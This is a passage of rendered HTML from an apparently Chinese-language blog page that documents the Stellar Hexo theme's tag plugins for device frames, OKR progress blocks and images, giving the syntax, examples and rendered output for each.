01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="14-frame-&#x8BBE;&#x5907;&#x6846;&#x67B6;">14. frame &#x8BBE;&#x5907;&#x6846;&#x67B6;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{% frame iphone11 [img:src] [video:url] [focus:top/bottom] [alt] %}</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">{% frame iphone11 img:https://fastly.jsdelivr.net/gh/Cactusinhand/images<span class="emphasis">_repo/images/20240824211015.png &#xA0;iphone11 %}</span></span><br><span class="line"><span class="emphasis">{% frame iphone11 img:/assets/wiki/prohud/toast/demo-loading.png video:/assets/wiki/prohud/toast/demo-loading.mp4 focus:top %}</span></span><br><span class="line"><span class="emphasis"></span></span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin img-wrap"><div class="frame-wrap" id="iphone11"><img class="img" src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240824211015.png" alt="iphone11"><div class="frame"></div></div><span class="image-caption">iphone11</span></div><div class="tag-plugin video-wrap"><div class="frame-wrap" id="iphone11" focus="top"><video poster="/assets/wiki/prohud/toast/demo-loading.png" playsinline muted loop autoplay preload="metadata"><source src="/assets/wiki/prohud/toast/demo-loading.mp4" type="video/mp4"></video><div class="frame"></div></div></div><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="15-OKR">15. OKR</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">{% okr o1 percent:0.8 status:in<span class="emphasis">_track %}</span></span><br><span class="line"><span class="emphasis">&#xA0; object 1 title</span></span><br><span class="line"><span class="emphasis">&#xA0; object 1 content</span></span><br><span class="line"><span class="emphasis"></span></span><br><span class="line"><span class="emphasis">&#xA0; &lt;!-- okr kr1 percent:1 status:finished --&gt;</span></span><br><span class="line"><span class="emphasis">&#xA0; key result 1 title</span></span><br><span class="line"><span class="emphasis">&#xA0; key result 1 content</span></span><br><span class="line"><span class="emphasis">&#xA0; &lt;!-- okr kr2 percent:0.6 status:unfinished --&gt;</span></span><br><span class="line"><span class="emphasis">&#xA0; key result 2 title</span></span><br><span class="line"><span class="emphasis">&#xA0; key result 2 content</span></span><br><span class="line"><span class="emphasis">{% endokr %}</span></span><br><span class="line"><span class="emphasis"></span></span><br><span class="line"><span class="emphasis">status:[finished,unfinished,in_</span>track,normal,at<span class="emphasis">_risk]</span></span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">{% okr o1 percent:0.8 status:in<span class="emphasis">_track %}</span></span><br><span class="line"><span class="emphasis">&#xA0; object 1 title</span></span><br><span class="line"><span class="emphasis">&#xA0; object 1 content</span></span><br><span class="line"><span class="emphasis"></span></span><br><span class="line"><span class="emphasis">&#xA0; &lt;!-- okr kr1 percent:1 status:finished --&gt;</span></span><br><span class="line"><span class="emphasis">&#xA0; key result 1 title</span></span><br><span class="line"><span class="emphasis">&#xA0; key result 1 content</span></span><br><span class="line"><span class="emphasis">&#xA0; &lt;!-- okr kr2 percent:0.6 status:unfinished --&gt;</span></span><br><span class="line"><span class="emphasis">&#xA0; key result 2 title</span></span><br><span class="line"><span class="emphasis">&#xA0; key result 2 content</span></span><br><span class="line"><span class="emphasis"></span></span><br><span class="line"><span class="emphasis">{% endokr %}</span></span><br><span class="line"><span class="emphasis"></span></span><br><span class="line"><span class="emphasis"></span></span><br><span class="line"><span class="emphasis">{% okr o2 percent:0.7 status:off_</span>track %}</span><br><span class="line">&#xA0; object 2 title</span><br><span class="line">&#xA0; object 2 content</span><br><span class="line"></span><br><span class="line">&#xA0; &lt;!-- okr kr1 percent:0.9 status:normal --&gt;</span><br><span class="line">&#xA0; key result 1 title</span><br><span class="line">&#xA0; key result 1 content</span><br><span class="line">&#xA0; &lt;!-- okr kr2 percent:0.3 status:at<span class="emphasis">_risk --&gt;</span></span><br><span class="line"><span class="emphasis">&#xA0; key result 2 title</span></span><br><span class="line"><span class="emphasis">&#xA0; key result 2 content</span></span><br><span class="line"><span class="emphasis"></span></span><br><span class="line"><span class="emphasis">{% endokr %}</span></span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin colorful okr">  <div class="okr-item o" id="okr-o1">    <div class="okr-left">      <span class="title">O1</span>    </div>    <div class="okr-center">      <span class="title">object 1 title</span>      <div class="note"><p>object 1 content</p></div>    </div>    <div class="okr-right colorful" color="blue">      <div class="labels">        <span class="status label">&#x6B63;&#x5E38;</span>        <span class="status percent">80%</span>      </div>      <div class="progress">        <div class="fill" style="width:80%;"></div>      </div>    </div>  </div>    <div class="okr-item kr" id="okr-kr1">    <div class="okr-left">      <span class="title">KR1</span>    </div>    <div class="okr-center">      <span class="title">key result 1 title</span>      <div class="note"><p>key result 1 content</p></div>    </div>    <div class="okr-right colorful" color="green">      <div class="labels">        <span class="status label">&#x5DF2;&#x5B8C;&#x6210;</span>        <span class="status percent">100%</span>      </div>      <div class="progress">        <div class="fill" style="width:100%;"></div>      </div>    </div>  </div>    <div class="okr-item kr" id="okr-kr2">    <div class="okr-left">      <span class="title">KR2</span>    </div>    <div class="okr-center">      <span class="title">key result 2 title</span>      <div class="note"><p>key result 2 content</p></div>    </div>    <div class="okr-right colorful" color="red">      <div class="labels">        <span class="status label">&#x672A;&#x5B8C;&#x6210;</span>        <span class="status percent">60%</span>      </div>      <div class="progress">        <div class="fill" style="width:60%;"></div>      </div>    </div>  </div>  </div><div class="tag-plugin colorful okr">  <div class="okr-item o" id="okr-o2">    <div class="okr-left">      <span class="title">O2</span>    </div>    <div class="okr-center">      <span class="title">object 2 title</span>      <div class="note"><p>object 2 content</p></div>    </div>    <div class="okr-right colorful" color="purple">      <div class="labels">        <span class="status label">&#x5EF6;&#x671F;</span>        <span class="status percent">70%</span>      </div>      <div class="progress">        <div class="fill" style="width:70%;"></div>      </div>    </div>  </div>    <div class="okr-item kr" id="okr-kr1">    <div class="okr-left">      <span class="title">KR1</span>    </div>    <div class="okr-center">      <span class="title">key result 1 title</span>      <div class="note"><p>key result 1 content</p></div>    </div>    <div class="okr-right colorful" color="blue">      <div class="labels">        <span class="status label">&#x6B63;&#x5E38;</span>        <span class="status percent">90%</span>      </div>      <div class="progress">        <div class="fill" style="width:90%;"></div>      </div>    </div>  </div>    <div class="okr-item kr" id="okr-kr2">    <div class="okr-left">      <span class="title">KR2</span>    </div>    <div class="okr-center">      <span class="title">key result 2 title</span>      <div class="note"><p>key result 2 content</p></div>    </div>    <div class="okr-right colorful" color="yellow">      <div class="labels">        <span class="status label">&#x98CE;&#x9669;</span>        <span class="status percent">30%</span>      </div>      <div class="progress">        <div class="fill" style="width:30%;"></div>      </div>    </div>  </div>  </div><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="16-image-&#x56FE;&#x7247;">16. image &#x56FE;&#x7247;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">{% image src [alt] [width:400px] [bg:#eee] [download:true/false/url] [fancybox:true/false/url] %}</span><br><span class="line"></span><br><span class="line">{% image src [description] [download:bool/string] [width:px] [padding:px] [bg:hex] [fancybox:bool/string] %}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">src: &#x56FE;&#x7247;&#x5730;&#x5740;</span><br><span class="line">description: &#x56FE;&#x7247;&#x63CF;&#x8FF0;</span><br><span class="line">download: href # &#x4E0B;&#x8F7D;&#x5730;&#x5740;&#xFF0C;&#x8BBE;&#x7F6E;&#x6B64;&#x503C;&#x540E;&#x9F20;&#x6807;&#x653E;&#x5728;&#x56FE;&#x7247;&#x4E0A;&#x4F1A;&#x663E;&#x793A;&#x4E0B;&#x8F7D;&#x5730;&#x5740;&#xFF0C;&#x5982;&#x679C;&#x4E0B;&#x8F7D;&#x5730;&#x5740;&#x4E3A;&#x56FE;&#x7247;&#x5730;&#x5740;&#xFF0C;&#x53EF;&#x4EE5;&#x8BBE;&#x7F6E;&#x4E3A; true</span><br><span class="line">width:200px # &#x56FE;&#x7247;&#x5BBD;&#x5EA6;</span><br><span class="line">padding: 16px # &#x56FE;&#x7247;&#x56DB;&#x5468;&#x586B;&#x5145;&#x5BBD;&#x5EA6;</span><br><span class="line">bg:&apos;#ffffff&apos; # &#x56FE;&#x7247;&#x533A;&#x57DF;&#x80CC;&#x666F;&#x989C;&#x8272;&#xFF0C;16&#x8FDB;&#x5236;</span><br><span class="line">fancybox: href # fancybox &#x653E;&#x5927;&#x5730;&#x5740;&#xFF0C;&#x8BBE;&#x7F6E;&#x6B64;&#x503C;&#x540E;&#x4F1A;&#x8C03;&#x7528;&#x8BE5;&#x94FE;&#x63A5;&#x653E;&#x5927;&#xFF0C;&#x5982;&#x679C;&#x653E;&#x5927;&#x5730;&#x5740;&#x4E3A;&#x56FE;&#x7247;&#x5730;&#x5740;&#xFF0C;&#x53EF;&#x4EE5;&#x8BBE;&#x7F6E;&#x4E3A; true</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{% image https://fastly.jsdelivr.net/gh/Cactusinhand/images<span class="emphasis">_repo/images/20240824211015.png download:true width:100% padding:10px bg:cyan fancybox:true %}</span></span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin image"><div class="image-bg" style="background:cyan;padding:10px;"><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240824211015.png" data-fancybox="true" style="width:100%;"><a class="image-download blur" style="opacity:0" target="_blank" href="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240824211015.png"><svg class="icon" style="width: 1em; height: 1em;vertical-align: middle;fill: currentColor;overflow: hidden;" viewbox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="3734"><path d="M561.00682908 685.55838913a111.03077546 111.03077546 0 0 1-106.8895062 0L256.23182837 487.72885783a55.96309219 55.96309219 0 0 1 79.13181253-79.18777574L450.70357448 523.88101491V181.55477937a55.96309219 55.96309219 0 0 1 111.92618438 0v344.06109173l117.07478902-117.07478901a55.96309219 55.96309219 0 0 1 79.13181252 79.18777574zM282.81429711 797.1487951h447.70473912a55.96309219 55.96309219 0 0 1 0 111.92618438H282.81429711a55.96309219 55.96309219 0 0 1 0-111.92618438z" p-id="3735"/></svg></a></div></div><div class="tag-plugin quot"><p class="content" type="icon"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 24 24"><path fill="currentColor" d="M20 12a8 8 0 1 1-16 0a8 8 0 0 1 16 0" opacity=".5"/><path fill="currentColor" d="M17.712 5.453c1.047-.193 2.006-.259 2.797-.152c.77.103 1.536.393 1.956 1.064c.446.714.312 1.542-.012 2.258c-.33.728-.918 1.499-1.672 2.268c-1.516 1.547-3.836 3.226-6.597 4.697c-2.763 1.472-5.495 2.484-7.694 2.92c-1.095.217-2.098.299-2.923.201c-.8-.095-1.6-.383-2.032-1.075c-.47-.752-.296-1.63.07-2.379c.375-.768 1.032-1.586 1.872-2.403L4 12.416c0 .219.083.71.168 1.146c.045.23.09.444.123.596c-.652.666-1.098 1.263-1.339 1.756c-.277.567-.208.825-.145.925c.072.116.305.305.937.38c.609.073 1.44.018 2.455-.183c2.02-.4 4.613-1.351 7.28-2.772c2.667-1.42 4.85-3.015 6.23-4.423c.694-.707 1.15-1.334 1.377-1.836c.233-.515.167-.75.107-.844c-.07-.112-.289-.294-.883-.374c-.542-.072-1.272-.041-2.163.112L16.87 5.656c.338-.101.658-.17.842-.203"/></svg><span class="text">&#x6A2A;&#x5411;&#x94FA;&#x6EE1;&#x7684;&#x56FE;&#x7247;</span><span class="empty"></span></p></div><div class="tag-plugin image"><div class="image-bg"><img src="https://s.xaox.cc/xaoxuu/posts/202401131914137.jpg-hd" alt="&#x56FE;&#x7247;&#x7531; xaoxuu &#x62CD;&#x6444;&#x4E8E;&#x4E00;&#x4E2A;&#x666E;&#x901A;&#x7684;&#x9633;&#x5149;&#x660E;&#x5A9A;&#x7684;&#x4E0B;&#x5348;"><a class="image-download blur" style="opacity:0" target="_blank" download="&#x56FE;&#x7247;&#x7531; xaoxuu &#x62CD;&#x6444;&#x4E8E;&#x4E00;&#x4E2A;&#x666E;&#x901A;&#x7684;&#x9633;&#x5149;&#x660E;&#x5A9A;&#x7684;&#x4E0B;&#x5348;" href="https://s.xaox.cc/xaoxuu/posts/202401131914137.jpg-hd"><svg class="icon" style="width: 1em; height: 1em;vertical-align: middle;fill: currentColor;overflow: hidden;" viewbox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="3734"><path d="M561.00682908 685.55838913a111.03077546 111.03077546 0 0 1-106.8895062 0L256.23182837 487.72885783a55.96309219 55.96309219 0 0 1 79.13181253-79.18777574L450.70357448 523.88101491V181.55477937a55.96309219 55.96309219 0 0 1 111.92618438 0v344.06109173l117.07478902-117.07478901a55.96309219 55.96309219 0 0 1 79.13181252 79.18777574zM282.81429711 797.1487951h447.70473912a55.96309219 55.96309219 0 0 1 0 111.92618438H282.81429711a55.96309219 55.96309219 0 0 1 0-111.92618438z" p-id="3735"/></svg></a></div><div class="image-meta"><span class="image-caption center">&#x56FE;&#x7247;&#x7531; xaoxuu &#x62CD;&#x6444;&#x4E8E;&#x4E00;&#x4E2A;&#x666E;&#x901A;&#x7684;&#x9633;&#x5149;&#x660E;&#x5A9A;&#x7684;&#x4E0B;&#x5348;</span></div></div><div class="tag-plugin quot"><p class="content" type="icon"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 24 24"><path fill="currentColor" d="M20 12a8 8 0 1 1-16 0a8 8 0 0 1 16 0" opacity=".5"/><path fill="currentColor" d="M17.712 5.453c1.047-.193 2.006-.259 2.797-.152c.77.103 1.536.393 1.956 1.064c.446.714.312 1.542-.012 2.258c-.33.728-.918 1.499-1.672 2.268c-1.516 1.547-3.836 3.226-6.597 4.697c-2.763 1.472-5.495 2.484-7.694 2.92c-1.095.217-2.098.299-2.923.201c-.8-.095-1.6-.383-2.032-1.075c-.47-.752-.296-1.63.07-2.379c.375-.768 1.032-1.586 1.872-2.403L4 12.416c0 .219.083.71.168 1.146c.045.23.09.444.123.596c-.652.666-1.098 1.263-1.339 1.756c-.277.567-.208.825-.145.925c.072.116.305.305.937.38c.609.073 1.44.018 2.455-.183c2.02-.4 4.613-1.351 7.28-2.772c2.667-1.42 4.85-3.015 6.23-4.423c.694-.707 1.15-1.334 1.377-1.836c.233-.515.167-.75.107-.844c-.07-.112-.289-.294-.883-.374c-.542-.072-1.272-.041-2.163.112L16.87 5.656c.338-.101.658-.17.842-.203"/></svg><span class="text">&#x7AD6;&#x56FE;&#xFF08;&#x5C0F;&#x56FE;&#xFF09;&#x4F18;&#x5316;</span><span class="empty"></span></p></div><div class="tag-plugin image"><div class="image-bg" style="background:var(--card);padding:16px;"><img src="https://s.xaox.cc/xaoxuu/posts/202401131914137.jpg-hd"></div></div><div class="tag-plugin quot"><p class="content" type="icon"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 24 24"><path fill="currentColor" d="M20 12a8 8 0 1 1-16 0a8 8 0 0 1 16 0" opacity=".5"/><path fill="currentColor" d="M17.712 5.453c1.047-.193 2.006-.259 2.797-.152c.77.103 1.536.393 1.956 1.064c.446.714.312 1.542-.012 2.258c-.33.728-.918 1.499-1.672 2.268c-1.516 1.547-3.836 3.226-6.597 4.697c-2.763 1.472-5.495 2.484-7.694 2.92c-1.095.217-2.098.299-2.923.201c-.8-.095-1.6-.383-2.032-1.075c-.47-.752-.296-1.63.07-2.379c.375-.768 1.032-1.586 1.872-2.403L4 12.416c0 .219.083.71.168 1.146c.045.23.09.444.123.596c-.652.666-1.098 1.263-1.339 1.756c-.277.567-.208.825-.145.925c.072.116.305.305.937.38c.609.073 1.44.018 2.455-.183c2.02-.4 4.613-1.351 7.28-2.772c2.667-1.42 4.85-3.015 6.23-4.423c.694-.707 1.15-1.334 1.377-1.836c.233-.515.167-.75.107-.844c-.07-.112-.289-.294-.883-.374c-.542-.072-1.272-.041-2.163.112L16.87 5.656c.338-.101.658-.17.842-.203"/></svg><span class="text">&#x652F;&#x6301; Fancybox &#x63D2;&#x4EF6;&#x70B9;&#x51FB;&#x653E;&#x5927;</span><span class="empty"></span></p></div><p>&#x7531;&#x4E8E; Stellar &#x4E3B;&#x9898;&#x7684;&#x63D2;&#x4EF6;&#x5177;&#x6709;&#x6309;&#x9700;&#x52A0;&#x8F7D;&#x7684;&#x7279;&#x6027;&#xFF0C;&#x6240;&#x4EE5; Fancybox 